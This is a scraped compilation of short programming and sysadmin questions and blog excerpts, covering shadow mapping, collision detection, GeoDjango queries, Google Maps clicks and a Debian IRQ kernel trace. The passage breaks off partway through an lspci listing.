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  • Shadow mapping: what is the light looking at?

    - by PgrAm
    I'm all set to set up shadow mapping in my 3d engine but there is one thing I am struggling to understand. The scene needs to be rendered from the light's point of view so I simply first move my camera to the light's position but then I need to find out which direction the light is looking. Since its a point light its not shining in any particular direction. How do I figure out what the orientation for the light point of view is?

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  • Why do my gvfs mounts not show up under ~/.gvfs?

    - by kynan
    From what I read, when mounting a network share via nautilus or gvfs-mount the mount point should be in ~/.gvfs. This seems not to be the case for me: I tried mounting both an FTP and SMB share via both nautilus and gvfs-mount under both Ubuntu Maverick and Natty and in none of the cases did I see any mount point under ~/.gvfs. I can access the shares just find in nautilus, but I want to have access via the command line, which is why I need a mount point in the file system. Edit: Debugging following James Henstridge's answer and enzotib's comment revealed that on my laptop gvfs-fuse-daemon is running and consequently gvfs mounts show up in ~/.gvfs, whereas on the 2 workstations where ~/.gvfs remained empty gvfs-fuse-daemon was not running. On all 3 machines there are other gvfs processes running: gvfsd, gvfs-afc-volume-monitor, ... On the laptop, mount | fgrep gvfs yields gvfs-fuse-daemon on /home/xxx/.gvfs type fuse.gvfs-fuse-daemon (rw,nosuid,nodev,user=xxx) That raises the questions: How are shares mounted without gvfs-fuse-daemon running? Is there no mount point created in that case and is every access to the share a gvfs library call? Which daemon is responsible? gvfsd? What's the role of gvfs-fuse-daemon? Does it only create a fuse mount point in ~/.gvfs?

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  • Creating SparseImages for Pivot

    - by John Conwell
    Learning how to programmatically make collections for Microsoft Live Labs Pivot has been a pretty interesting ride. There are very few examples out there, and the folks at MS Live Labs are often slow on any feedback.  But that is what Reflector is for, right? Well, I was creating these InfoCard images (similar to the Car images in the "New Cars" sample collection that that MS created for Pivot), and wanted to put a Tag Cloud into the info card.  The problem was the size of the tag cloud might vary in order for all the tags to fit into the tag cloud (often times being bigger than the info card itself).  This was because the varying word lengths and calculated font sizes. So, to fix this, I made the tag cloud its own separate image from the info card.  Then, I would create a sparse image out of the two images, where the tag cloud fit into a small section of the info card.  This would allow the user to see the info card, but then zoom into the tag cloud and see all the tags at a normal resolution.  Kind'a cool. But...I couldn't find one code example (not one!) of how to create a sparse image.  There is one page on the SeaDragon site (http://www.seadragon.com/developer/creating-content/deep-zoom-tools/) that gives over the API for creating images and collections, and it sparsely goes over how to create a sparse image, but unless you are familiar with the API already, the documentation doesn't help very much. The key is the Image.ViewportWidth and Image.ViewportOrigin properties of the image that is getting super imposed on the main image.  I'll walk through the code below.  I've setup a couple Point structs to represent the parent and sub image sizes, as well as where on the parent I want to position the sub image.  Next, create the parent image.  This is pretty straight forward.  Then I create the sub image.  Then I calculate several ratios; the height to width ratio of the sub image, the width ratio of the sub image to the parent image, the height ratio of the sub image to the parent image, then the X and Y coordinates on the parent image where I want the sub image to be placed represented as a ratio of the position to the parent image size. After all these ratios have been calculated, I use them to calculate the Image.ViewportWidth and Image.ViewportOrigin values, then pass the image objects into the SparseImageCreator and call Create. The key thing that was really missing from the API documentation page is that when setting up your sub images, everything is expressed in a ratio in relation to the main parent image.  If I had known this, it would have saved me a lot of trial and error time.  And how did I figure this out?  Reflector of course!  There is a tool called Deep Zoom Composer that came from MS Live Labs which can create a sparse image.  I just dug around the tool's code until I found the method that create sparse images.  But seriously...look at the API documentation from the SeaDragon size and look at the code below and tell me if the documentation would have helped you at all.  I don't think so!   public static void WriteDeepZoomSparseImage(string mainImagePath, string subImagePath, string destination) {     Point parentImageSize = new Point(720, 420);     Point subImageSize = new Point(490, 310);     Point subImageLocation = new Point(196, 17);     List<Image> images = new List<Image>();     //create main image     Image mainImage = new Image(mainImagePath);     mainImage.Size = parentImageSize;     images.Add(mainImage);     //create sub image     Image subImage = new Image(subImagePath);     double hwRatio = subImageSize.X/subImageSize.Y;            // height width ratio of the tag cloud     double nodeWidth = subImageSize.X/parentImageSize.X;        // sub image width to parent image width ratio     double nodeHeight = subImageSize.Y / parentImageSize.Y;    // sub image height to parent image height ratio     double nodeX = subImageLocation.X/parentImageSize.X;       //x cordinate position on parent / width of parent     double nodeY = subImageLocation.Y / parentImageSize.Y;     //y cordinate position on parent / height of parent     subImage.ViewportWidth = (nodeWidth < double.Epsilon) ? 1.0 : (1.0 / nodeWidth);     subImage.ViewportOrigin = new Point(         (nodeWidth < double.Epsilon) ? -1.0 : (-nodeX / nodeWidth),         (nodeHeight < double.Epsilon) ? -1.0 : ((-nodeY / nodeHeight) / hwRatio));     images.Add(subImage);     //create sparse image     SparseImageCreator creator = new SparseImageCreator();     creator.Create(images, destination); }

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  • I want to host clients' websites, but not their email. What's the easiest way to handle this?

    - by Phil
    My company lets non-technical users build their own niche industry websites on our server, which we host. they can currently point their nameservers at their registrar to us, which ends up with them no longer having access to their email if they've already set it up through said registrar. We don't want to interfere with their existing email, nor do we want to get into the business of setting up email for them through our service. Thus, having them point A records/cname to us would work, but is this too complex for a non-technie user? We thought of having them point nameservers to us but pointing the MX records back to them, but this is also beyond their scope. Is there an easy way to 'point records' at their initial state? Any other ideas/feedback?

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  • Should I use an interface when methods are only similar?

    - by Joshua Harris
    I was posed with the idea of creating an object that checks if a point will collide with a line: public class PointAndLineSegmentCollisionDetector { public void Collides(Point p, LineSegment s) { // ... } } This made me think that if I decided to create a Box object, then I would need a PointAndBoxCollisionDetector and a LineSegmentAndBoxCollisionDetector. I might even realize that I should have a BoxAndBoxCollisionDetector and a LineSegmentAndLineSegmentCollisionDetector. And, when I add new objects that can collide I would need to add even more of these. But, they all have a Collides method, so everything I learned about abstraction is telling me, "Make an interface." public interface CollisionDetector { public void Collides(Spatial s1, Spatial s2); } But now I have a function that only detects some abstract class or interface that is used by Point, LineSegment, Box, etc.. So if I did this then each implementation would have to to a type check to make sure that the types are the appropriate type because the collision algorithm is different for each different type match up. Another solution could be this: public class CollisionDetector { public void Collides(Point p, LineSegment s) { ... } public void Collides(LineSegment s, Box b) { ... } public void Collides(Point p, Box b) { ... } // ... } But, this could end up being a huge class that seems unwieldy, although it would have simplicity in that it is only a bunch of Collide methods. This is similar to C#'s Convert class. Which is nice because it is large, but it is simple to understand how it works. This seems to be the better solution, but I thought I should open it for discussion as a wiki to get other opinions.

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  • Circle-Rectangle collision in a tile map game

    - by furiousd
    I am making a 2D tile map based putt-putt game. I have collision detection working between the ball and the walls of the map, although when the ball collides at the meeting point between 2 tiles I offset it by 0.5 so that it doesn't get stuck in the wall. This aint a huge issue though. if(y % 20 == 0) { y+=0.5; } if(x % 20 == 0) { x+=0.5; } Collisions work as follows Find the closest point between each tile and the center of the ball If distance(ball_x, ball_y, close_x, close_y) <= ball_radius and the closest point belongs to a solid object, collision has occured Invert X/Y speed according to side of object collided with The next thing I tried to do was implement floating blocks in the middle of the map for the ball to bounce off of. When a ball collides with a corner of the block, it gets stuck in it. So I changed my determineRebound() function to treat corners as if they were circles. Here's that functon: `i and j are indexes of the solid object in the 2d map array. x & y are centre point of ball.` void determineRebound(int _i, int _j) { if(y > _i*tile_w && y < _i*tile_w + tile_w) { //Not a corner xs*=-1; } else if(x > _j*tile_w && x < _j*tile_w + tile_w) { //Not a corner ys*=-1; } else { //Corner float nx = x - close_x; float ny = y - close_y; float len = sqrt(nx * nx + ny * ny); nx /= len; ny /= len; float projection = xs * nx + ys * ny; xs -= 2 * projection * nx; ys -= 2 * projection * ny; } } This is where things have gotten messy. Collisions with 'floating' corners work fine, but now when the ball collides near the meeting point of 2 tiles, it detects a corner collision and does not rebound as expected. I'm a bit in over my head at this point. I guess I'm wondering if I'm going about making this sort of game in the right way. Is a 2d tile map the way to go? If so, is there a problem with my collision logic and where am I going wrong? Any advice/feedback would be great.

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  • The Oracle Platform

    - by Naresh Persaud
    Today’s enterprises typically create identity management infrastructures using ad-hoc, multiple point solutions. Relying on point solutions introduces complexity and high cost of ownership leading many organizations to rethink this approach. In a recent worldwide study of 160 companies conducted by Aberdeen Research, there was a discernible shift in this trend as businesses are now looking to move away from the point solution approach from multiple vendors and adopt an integrated platform approach. By deploying a comprehensive identity and access management strategy using a single platform, companies are saving as much as 48% in IT costs, while reducing audit deficiencies by nearly 35%. According to Aberdeen's research, choosing an integrated suite or “platform” of solutions for Identity Management from a single vendor can have many advantages over choosing “point solutions” from multiple vendors. The Oracle Identity Management Platform is uniquely designed to offer several compelling benefits to our customers.  Shared Services: Instead of separate solutions for - Administration, Authentication, Authorization, Audit and so on–  Oracle Identity Management offers a set of share services that allows these services to be consumed by each component in the stack and by developers of new applications  Actionable Intelligence: The most compelling benefit of the Oracle platform is ” Actionable intelligence” which means if there is a compliance violation, the same platform can fix it. And If a user is logging in from an un-trusted device or we detect an attack and act proactively on that information. Suite Interoperability: With the oracle platform the components all connect and integrated with each other. So if an organization purchase the platform for provisioning and wants to manage access, then the same platform can offer access management which leads to cost savings. Extensible and Configurable: With point solutions – you typically get limited ability to extend the tool to address custom requirements. But with the Oracle platform all of the components have a common way to extend the UI and behavior Find out more about the Oracle Platform approach in this presentation. Platform approach-series-the oracleplatform-final View more PowerPoint from OracleIDM

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  • Applications: The Mathematics of Movement, Part 3

    - by TechTwaddle
    Previously: Part 1, Part 2 As promised in the previous post, this post will cover two variations of the marble move program. The first one, Infinite Move, keeps the marble moving towards the click point, rebounding it off the screen edges and changing its direction when the user clicks again. The second version, Finite Move, is the same as first except that the marble does not move forever. It moves towards the click point, rebounds off the screen edges and slowly comes to rest. The amount of time that it moves depends on the distance between the click point and marble. Infinite Move This case is simple (actually both cases are simple). In this case all we need is the direction information which is exactly what the unit vector stores. So when the user clicks, you calculate the unit vector towards the click point and then keep updating the marbles position like crazy. And, of course, there is no stop condition. There’s a little more additional code in the bounds checking conditions. Whenever the marble goes off the screen boundaries, we need to reverse its direction.  Here is the code for mouse up event and UpdatePosition() method, //stores the unit vector double unitX = 0, unitY = 0; double speed = 6; //speed times the unit vector double incrX = 0, incrY = 0; private void Form1_MouseUp(object sender, MouseEventArgs e) {     double x = e.X - marble1.x;     double y = e.Y - marble1.y;     //calculate distance between click point and current marble position     double lenSqrd = x * x + y * y;     double len = Math.Sqrt(lenSqrd);     //unit vector along the same direction (from marble towards click point)     unitX = x / len;     unitY = y / len;     timer1.Enabled = true; } private void UpdatePosition() {     //amount by which to increment marble position     incrX = speed * unitX;     incrY = speed * unitY;     marble1.x += incrX;     marble1.y += incrY;     //check for bounds     if ((int)marble1.x < MinX + marbleWidth / 2)     {         marble1.x = MinX + marbleWidth / 2;         unitX *= -1;     }     else if ((int)marble1.x > (MaxX - marbleWidth / 2))     {         marble1.x = MaxX - marbleWidth / 2;         unitX *= -1;     }     if ((int)marble1.y < MinY + marbleHeight / 2)     {         marble1.y = MinY + marbleHeight / 2;         unitY *= -1;     }     else if ((int)marble1.y > (MaxY - marbleHeight / 2))     {         marble1.y = MaxY - marbleHeight / 2;         unitY *= -1;     } } So whenever the user clicks we calculate the unit vector along that direction and also the amount by which the marble position needs to be incremented. The speed in this case is fixed at 6. You can experiment with different values. And under bounds checking, whenever the marble position goes out of bounds along the x or y direction we reverse the direction of the unit vector along that direction. Here’s a video of it running;   Finite Move The code for finite move is almost exactly same as that of Infinite Move, except for the difference that the speed is not fixed and there is an end condition, so the marble comes to rest after a while. Code follows, //unit vector along the direction of click point double unitX = 0, unitY = 0; //speed of the marble double speed = 0; private void Form1_MouseUp(object sender, MouseEventArgs e) {     double x = 0, y = 0;     double lengthSqrd = 0, length = 0;     x = e.X - marble1.x;     y = e.Y - marble1.y;     lengthSqrd = x * x + y * y;     //length in pixels (between click point and current marble pos)     length = Math.Sqrt(lengthSqrd);     //unit vector along the same direction as vector(x, y)     unitX = x / length;     unitY = y / length;     speed = length / 12;     timer1.Enabled = true; } private void UpdatePosition() {     marble1.x += speed * unitX;     marble1.y += speed * unitY;     //check for bounds     if ((int)marble1.x < MinX + marbleWidth / 2)     {         marble1.x = MinX + marbleWidth / 2;         unitX *= -1;     }     else if ((int)marble1.x > (MaxX - marbleWidth / 2))     {         marble1.x = MaxX - marbleWidth / 2;         unitX *= -1;     }     if ((int)marble1.y < MinY + marbleHeight / 2)     {         marble1.y = MinY + marbleHeight / 2;         unitY *= -1;     }     else if ((int)marble1.y > (MaxY - marbleHeight / 2))     {         marble1.y = MaxY - marbleHeight / 2;         unitY *= -1;     }     //reduce speed by 3% in every loop     speed = speed * 0.97f;     if ((int)speed <= 0)     {         timer1.Enabled = false;     } } So the only difference is that the speed is calculated as a function of length when the mouse up event occurs. Again, this can be experimented with. Bounds checking is same as before. In the update and draw cycle, we reduce the speed by 3% in every cycle. Since speed is calculated as a function of length, speed = length/12, the amount of time it takes speed to reach zero is directly proportional to length. Note that the speed is in ‘pixels per 40ms’ because the timeout value of the timer is 40ms.  The readability can be improved by representing speed in ‘pixels per second’. This would require you to add some more calculations to the code, which I leave out as an exercise. Here’s a video of this second version,

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  • Help identify the pattern for reacting on updates

    - by Mike
    There's an entity that gets updated from external sources. Update events are at random intervals. And the entity has to be processed once updated. Multiple updates may be multiplexed. In other words there's a need for the most current state of entity to be processed. There's a point of no-return during processing where the current state (and the state is consistent i.e. no partial update is made) of entity is saved somewhere else and processing goes on independently of any arriving updates. Every consequent set of updates has to trigger processing i.e. system should not forget about updates. And for each entity there should be no more than one running processing (before the point of no-return) i.e. the entity state should not be processed more than once. So what I'm looking for is a pattern to cancel current processing before the point of no return or abandon processing results if an update arrives. The main challenge is to minimize race conditions and maintain integrity. The entity sits mainly in database with some files on disk. And the system is in .NET with web-services and message queues. What comes to my mind is a database queue-like table. An arriving update inserts row in that table and the processing is launched. The processing gathers necessary data before the point of no-return and once it reaches this barrier it looks into the queue table and checks whether there're more recent updates for the entity. If there are new updates the processing simply shuts down and its data is discarded. Otherwise the processing data is persisted and it goes beyond the point of no-return. Though it looks like a solution to me it is not quite elegant and I believe this scenario may be supported by some sort of middleware. If I would use message queues for this then there's a need to access the queue API in the point of no-return to check for the existence of new messages. And this approach also lacks elegance. Is there a name for this pattern and an existing solution?

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  • Facebook App EULA & Restrictions: What can't they do that my web app can?

    - by Adam Tannon
    I have written a nifty little web app (in Java/GWT/JS) and have been experimenting with the idea of making it available through Facebook as a Facebook App as well. After spending some time reading Facebook's developer docs, it seems like I can just create a Facebook App to point at any URL I want and use that as the app/canvas. It accomplishes this via iframes. So, my tentative plan is to just point it towards my (existing) web app so that I don't have to totally re-write it. But then that got me thinking: Facebook must regulate what sorts of things can be done through a Facebook App, vs. what an app can't do. For instance, I can't imagine I can point a Facebook App to point at a URL for a web app that accepts e-commerce payments (that would by-pass Facebook altogether and not allow them to take a cut from the ecom transaction!). Also, I can't imagine that Facebook allows developers to point their Facebook Apps to just any old URL without some sort of a scan, otherwise that would open Facebook up to the horrors of every security threat knownst to humanity. I know for a fact that when you write an iOS native app and put it up on the Apple App Store, that Apple actually scans your source code for violations of their EULA. So my question: does Facebook do the same? If so, what are their terms & conditions for what a Facebook app can/can't do? Suprisingly, I can't find this anywhere!! Thanks in advance!

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  • How do I keep a 3D model on the screen in OpenGL?

    - by NoobScratcher
    I'm trying to keep a 3D model on the screen by placing my glDrawElement functions inside the draw function with the declarations at the top of .cpp. When I render the model, the model attaches it self to the current vertex buffer object. This is because my whole graphical user interface is in 2D quads except the window frame. Is there a way to avoid this from happening? or any common causes of this? Creating the file object: int index = IndexAssigner(1, 1); //make a fileobject and store list and the index of that list in a c string ifstream file (list[index].c_str() ); //Make another string //string line; points.push_back(Point()); Point p; int face[4]; Model rendering code: int numfloats = 4; float* point=reinterpret_cast<float*>(&points[0]); int num_bytes=numfloats*sizeof(float); cout << "Size Of Point" << sizeof(Point) << endl; GLuint vertexbuffer; glGenVertexArrays(1, &vao[3]); glGenBuffers(1, &vertexbuffer); glBindBuffer(GL_ARRAY_BUFFER, vertexbuffer); glBufferData(GL_ARRAY_BUFFER, points.size()*sizeof(points), points.data(), GL_STATIC_DRAW); glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, num_bytes, &points[0]); glEnableClientState(GL_VERTEX_ARRAY); glVertexPointer(3, GL_FLOAT, points.size(), &points[0]); glEnableClientState(GL_INDEX_ARRAY); glIndexPointer(GL_FLOAT, faces.size(), faces.data()); glEnableVertexAttribArray(0); glDrawElements(GL_QUADS, points.size(), GL_UNSIGNED_INT, points.data()); glDrawElements(GL_QUADS, faces.size(), GL_UNSIGNED_INT, faces.data());

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  • Prevent collisions between mobs/npcs/units piloted by computer AI : How to avoid mobile obstacles?

    - by Arthur Wulf White
    Lets says we have character a starting at point A and character b starting at point B. character a is headed to point B and character b is headed to point A. There are several simple ways to find the path(I will be using Dijkstra). The question is, how do I take preventative action in the code to stop the two from colliding with one another? case2: Characters a and b start from the same point in different times. Character b starts later and is the faster of the two. How do I make character b walk around character a without going through it? case3:Lets say we have m such characters in each side and there is sufficient room to pass through without the characters overlapping with one another. How do I stop the two groups of characters from "walking on top of one another" and allow them pass around one another in a natural organic way. A correct answer would be any algorithm, that given the path to the destination and a list of mobile objects that block the path, finds an alternative path or stops without stopping all units when there is sufficient room to traverse.

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  • Algorithm for procedural city generation?

    - by Zove Games
    I am planning on making a (simple) procedural city generator using Java. I need ideas on whan algorithm to use for the layout, and the actual buildings. The city will mostly have skyscrapers, not really much complex stuff. For the layout I already have a simple algorithm implemented: Create a Map with java.awt.Point keys and Integer values. Fill it with all the points in the city's bounds with the value as -1 (unnassigned) Shuffle the map, and assign the 1st 10 of the keys IDs (from 1-10) Loop until all points have IDs: Loop though all points: Assign points next to an assigned point IDs of the point next to them, if 2 or more points border the point, then randomly choose which ID the point will get. You will end up with 10 random regions. Make roads bordering these regions. Fill the inside of each region with a randomly spaced and randomly rotated grid PROBLEM: This is not the fastest way to do it. What algorithm should I use for the layout. And what should I use to make each building's design? I don't even know how I'm going to do that yet (fractals maybe). I just need some ideas, not actual code.

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  • Path Modifier in Tower Of Defense Game

    - by Siddharth
    I implemented PathModifier for path of each enemy in my tower of defense game. So I applied fixed time to path modifier in that enemy complete their path. Like following code describe. new PathModifier(speed, path); Here speed define the time to complete the path. But in tower of defense game my problem is, there is a tower which slow down the movement of the enemy. In that particular situation I was stuck. please someone provide me some guidance what to do in this situation. EDIT : Path path = new Path(wayPointList.size()); for (int j = 0; j < wayPointList.size(); j++) { Point point = grid.getCellPoint(wayPointList.get(j).getRow(), wayPointList.get(j).getCol()); path.to(point.x, point.y); }

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  • Intersection of player and mesh

    - by Will
    I have a 3D scene, and a player that can move about in it. In a time-step the player can move from point A to point B. The player should follow the terrain height but slow going up cliffs and then fall back, or stop when jumping and hitting a wall and so on. In my first prototype I determine the Y at the player's centre's X,Z by intersecting a ray with every triangle in the scene. I am not checking their path, but rather just sampling their end-point for each tick. Despite this being Javascript, it works acceptably performance-wise. However, because I am modeling the player as a single point, the player can position themselves so that they are half-in a cliff face and so on. I need to model them as as a solid e.g. some cluster of spheres or a even their fuller mesh. I am also concerned that if they were moving faster they might miss the test altogether. How should I solve this?

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  • vectorizing a for loop in numpy/scipy?

    - by user248237
    I'm trying to vectorize a for loop that I have inside of a class method. The for loop has the following form: it iterates through a bunch of points and depending on whether a certain variable (called "self.condition_met" below) is true, calls a pair of functions on the point, and adds the result to a list. Each point here is an element in a vector of lists, i.e. a data structure that looks like array([[1,2,3], [4,5,6], ...]). Here is the problematic function: def myClass: def my_inefficient_method(self): final_vector = [] # Assume 'my_vector' and 'my_other_vector' are defined numpy arrays for point in all_points: if not self.condition_met: a = self.my_func1(point, my_vector) b = self.my_func2(point, my_other_vector) else: a = self.my_func3(point, my_vector) b = self.my_func4(point, my_other_vector) c = a + b final_vector.append(c) # Choose random element from resulting vector 'final_vector' self.condition_met is set before my_inefficient_method is called, so it seems unnecessary to check it each time, but I am not sure how to better write this. Since there are no destructive operations here it is seems like I could rewrite this entire thing as a vectorized operation -- is that possible? any ideas how to do this?

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  • GeoDjango: Exceptions for basic geographic queries

    - by omat
    I am having problems with geographic queries with GeoDjango running on SpatiaLite on my development environment. from django.contrib.gis.db import models class Test(models.Model): poly = models.PolygonField() point = models.PointField() geom = models.GeometryField() objects = models.GeoManager() Testing via shell: >>> from geotest.models import Test >>> from django.contrib.gis.geos import GEOSGeometry >>> >>> point = GEOSGeometry("POINT(0 0)") >>> point <Point object at 0x105743490> >>> poly = GEOSGeometry("POLYGON((0 0, 0 1, 1 1, 1 0, 0 0))") >>> poly <Polygon object at 0x105743370> >>> With these definitions, lets try some basic geographic queries. First contains: >>> Test.objects.filter(point__within=poly) Assertion failed: (0), function appendGeometryTaggedText, file WKTWriter.cpp, line 228. Abort trap And the django shell dies. And with within: >>> Test.objects.filter(poly__contains=point) GEOS_ERROR: Geometry must be a Point or LineString Traceback (most recent call last): ... GEOSException: Error encountered checking Coordinate Sequence returned from GEOS C function "GEOSGeom_getCoordSeq_r". >>> Other combinations also cause a variety of exceptions. I must be missing something obvious as these are very basic. Any ideas?

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  • C# Vector maths questions

    - by Mark
    Im working in a screen coordinate space that is different to that of the classical X/Y coordinate space, where my Y direction goes down in the positive instead of up. Im also trying to figure out how to make a Circle on my screen always face away from the center point of the screen. If the center point of my screen is at x(200) y(300) and the point of my circle's center is at x(150) and y(380) then I would like to calculate the angle that the circle should be facing. At the moment I have this: Point centerPoint = new Point(200, 300); Point middleBottom = new Point(200, 400); Vector middleVector = new Vector(centerPoint.X - middleBottom.X, centerPoint.Y - middleBottom.Y); Vector vectorOfCircle = new Vector(centerPoint.X - 150, centerPoint.Y - 400); middleVector.Normalize(); vectorOfCircle.Normalize(); var angle = Math.Acos(Vector.CrossProduct(vectorOfCircle, middleVector)); Console.WriteLine("Angle: {0}", angle * (180/Math.PI)); Im not getting what I would expect. I would say that when I enter in x(150) and y(300) of my circle, I would expect to see the rotation of 90 deg, but Im not getting that... Im getting 180!! Any help here would be greatly appreciated. Cheers, Mark

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  • Clicking inside a polygon in Google Maps

    - by amarsh-anand
    The included JavaScript snippet is supposed to do the following: As the user clicks on the map, initialize headMarker and draw a circle (polygon) around it As the user clicks inside the circle, initialize tailMarker and draw the path between these two markers 1 is happening as expected. But as the user clicks inside the circle, in the function(overlay,point), overlay is non-null while point is null. Because of this, the code fails to initialize tailMarker. Can someone tell me a way out. GEvent.addListener(map, "click", function(overlay,point) { if (isCreateHeadPoint) { // add the head marker headMarker = new GMarker(point,{icon:redIcon,title:'0'}); map.addOverlay(headMarker); isCreateHeadPoint = false; // draw the circle drawMapCircle(point.lat(),point.lng(),1,'#cc0000',2,0.8,'#0',0.1); } else { // add the tail marker tailMarker = new GMarker(point,{icon:greenIcon,title:''}); map.addOverlay(tailMarker); isCreateHeadPoint = true; // load thes path from head to tail direction.load("from:" + headMarker.getPoint().lat()+ ", " + headMarker.getPoint().lng()+ " " + "to:" + tailMarker.getPoint().lat() + "," + tailMarker.getPoint().lng(), {getPolyline:true}); } });

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  • Address String Split in javscript

    - by Arasoi
    Ok folks I have bombed around for a few days trying to find a good solution for this one. What I have is two possible address formats. 28 Main St Somecity, NY 12345-6789 or Main St Somecity, Ny 12345-6789 What I need to do Is split both strings down into an array structured as such address[0] = HousNumber address[1] = Street address[2] = City address[3] = State address[4] = ZipCode My major problem is how to account for the lack of a house number. with out having the whole array shift the data up one. address[0] = Street address[1] = City address[2] = State address[3] = ZipCode [Edit] For those that are wondering this is what i am doing atm . (cleaner version) place = response.Placemark[0]; point = new GLatLng(place.Point.coordinates[1],place.Point.coordinates[0]); FCmap.setCenter(point,12); var a = place.address.split(','); var e = a[2].split(" "); var x = a[0].split(" "); var hn = x.filter(function(item,index){ return index == 0; }); var st = x.filter(function(item,index){ return index != 0; }); var street = ''; st.each(function(item,index){street += item + ' ';}); results[0] = new Hash({ FullAddie: place.address, HouseNum: hn[0], Dir: '', Street: street, City: a[1], State: e[1], ZipCode: e[2], GPoint: new GMarker(point), Lat: place.Point.coordinates[1], Lng: place.Point.coordinates[0] }); // End Address Splitting

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  • Implement a threading to prevent UI block on a bug in an async function

    - by Marcx
    I think I ran up againt a bug in an async function... Precisely the getDirectoryListingAsync() of the File class... This method is supposted to return an object containing the lists of files in a specified folder. I found that calling this method on a direcory with a lot of files (in my tests more than 20k files), after few seconds there is a block on the UI until the process is completed... I think that this method is separated in two main block: 1) get the list of files 2) create the array with the details of the files The point 1 seems to be async (for a few second the ui is responsive), then when the process pass from point 1 to point 2 the block of the UI occurs until the complete event is dispathed... Here's some (simple) code: private function checkFiles(dir:File):void { if (dir.exists) { dir.addEventListener( FileListEvent.DIRECTORY_LISTING, listaImmaginiLocale); dir.getDirectoryListingAsync(); // after this point, for the firsts seconds the UI respond well (point 1), // few seconds later (point 2) the UI is frozen } } private function listaImmaginiLocale( event:FileListEvent ):void { // from this point on the UI is responsive again... } Actually in my projects there are some function that perform an heavy cpu usage and to prevent the UI block I implemented a simple function that after some iteration will wait giving time to UI to be refreshed. private var maxIteration:int = 150000; private function sampleFunct(offset:int = 0) :void { if (offset < maxIteration) { // do something // call the recursive function using a timeout.. // if the offset in multiple by 1000 the function will wait 15 millisec, // otherwise it will be called immediately // 1000 is a random number for the pourpose of this example, but I usually change the // value based on how much heavy is the function itself... setTimeout(function():void{aaa(++offset);}, (offset%1000?15:0)); } } Using this method I got a good responsive UI without afflicting performance... I'd like to implement it into the getDirectoryListingAsync method but I don't know if it's possibile how can I do it where is the file to edit or extend.. Any suggestion???

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  • IRQ problem with 2.6.32/2.6.39 kernel on Debian Squeeze x86_64

    - by MasterM
    I recently assembled a new computer so that all hardware is pretty new. Since then I've been experiencing some problem with IRQs when running Debian 6.0. On random occasions, usually after an hour or so of running I hear a beep and this shows up in dmesg: [ 3537.762795] irq 16: nobody cared (try booting with the "irqpoll" option) [ 3537.762797] Pid: 0, comm: swapper Tainted: P W O 2.6.39-2-amd64 #1 [ 3537.762798] Call Trace: [ 3537.762799] <IRQ> [<ffffffff810924d4>] ? __report_bad_irq+0x3a/0xa2 [ 3537.762803] [<ffffffff810926a4>] ? note_interrupt+0x168/0x1da [ 3537.762805] [<ffffffff81090dd4>] ? handle_irq_event_percpu+0x171/0x18f [ 3537.762807] [<ffffffff8100e0e2>] ? read_tsc+0x5/0x16 [ 3537.762809] [<ffffffff8106b8a2>] ? update_ts_time_stats+0x32/0x6b [ 3537.762810] [<ffffffff81090e26>] ? handle_irq_event+0x34/0x52 [ 3537.762812] [<ffffffff81063fb7>] ? sched_clock_idle_wakeup_event+0x12/0x1c [ 3537.762813] [<ffffffff81092df2>] ? handle_fasteoi_irq+0x82/0xa4 [ 3537.762815] [<ffffffff8100aadb>] ? handle_irq+0x1a/0x23 [ 3537.762816] [<ffffffff8100a384>] ? do_IRQ+0x45/0xaa [ 3537.762818] [<ffffffff81332c93>] ? common_interrupt+0x13/0x13 [ 3537.762818] <EOI> [<ffffffff81332c8e>] ? common_interrupt+0xe/0x13 [ 3537.762821] [<ffffffff81026800>] ? native_safe_halt+0x2/0x3 [ 3537.762829] [<ffffffffa016ed58>] ? acpi_idle_do_entry+0x39/0x62 [processor] [ 3537.762831] [<ffffffffa016edde>] ? acpi_idle_enter_c1+0x5d/0xad [processor] [ 3537.762834] [<ffffffff81261033>] ? cpuidle_idle_call+0x11f/0x1cc [ 3537.762835] [<ffffffff81008dd2>] ? cpu_idle+0xab/0xe1 [ 3537.762837] [<ffffffff8169fc60>] ? start_kernel+0x3e0/0x3eb [ 3537.762838] [<ffffffff8169f3c8>] ? x86_64_start_kernel+0x102/0x10f [ 3537.762839] handlers: [ 3537.762840] [<ffffffffa0358d5a>] (rtl8169_interrupt+0x0/0x2d7 [r8169]) [ 3537.762842] [<ffffffffa08ff2ca>] (nv_kern_isr+0x0/0x54 [nvidia]) [ 3537.762902] Disabling IRQ #16 After that Xorg either hogs on CPU or is unstable (up to hanging the system completely). When I restart Xorg everything is fine again and the problem doesn't occur until next reboot. I tried to upgrade the kernel from stock 2.6.32 to 2.6.39 from unstable repository but that didn't help. Booting with irqpoll option only seems to prolong the initial time period after which the problem occurs. I'm using latest NVIDIA drivers and Realtek firmware from firmware-realtek package. I have two GTX 560Ti that run in SLI. Disabling SLI or taking out one card completely doesn't solve the problem either. Output of uname -a is: Linux whitestar 2.6.39-2-amd64 #1 SMP Wed Jun 8 11:01:04 UTC 2011 x86_64 GNU/Linux Output of lspci is: 00:00.0 Host bridge: Intel Corporation Sandy Bridge DRAM Controller (rev 09) 00:01.0 PCI bridge: Intel Corporation Sandy Bridge PCI Express Root Port (rev 09) 00:01.1 PCI bridge: Intel Corporation Sandy Bridge PCI Express Root Port (rev 09) 00:16.0 Communication controller: Intel Corporation Cougar Point HECI Controller #1 (rev 04) 00:19.0 Ethernet controller: Intel Corporation 82579V Gigabit Network Connection (rev 05) 00:1a.0 USB Controller: Intel Corporation Cougar Point USB Enhanced Host Controller #2 (rev 05) 00:1b.0 Audio device: Intel Corporation Cougar Point High Definition Audio Controller (rev 05) 00:1c.0 PCI bridge: Intel Corporation Cougar Point PCI Express Root Port 1 (rev b5) 00:1c.1 PCI bridge: Intel Corporation Cougar Point PCI Express Root Port 2 (rev b5) 00:1c.2 PCI bridge: Intel Corporation Cougar Point PCI Express Root Port 3 (rev b5) 00:1c.4 PCI bridge: Intel Corporation Cougar Point PCI Express Root Port 5 (rev b5) 00:1c.6 PCI bridge: Intel Corporation 82801 PCI Bridge (rev b5) 00:1d.0 USB Controller: Intel Corporation Cougar Point USB Enhanced Host Controller #1 (rev 05) 00:1f.0 ISA bridge: Intel Corporation Cougar Point LPC Controller (rev 05) 00:1f.2 SATA controller: Intel Corporation Cougar Point 6 port SATA AHCI Controller (rev 05) 00:1f.3 SMBus: Intel Corporation Cougar Point SMBus Controller (rev 05) 01:00.0 VGA compatible controller: nVidia Corporation Device 1200 (rev a1) 01:00.1 Audio device: nVidia Corporation Device 0e0c (rev a1) 02:00.0 VGA compatible controller: nVidia Corporation Device 1200 (rev a1) 02:00.1 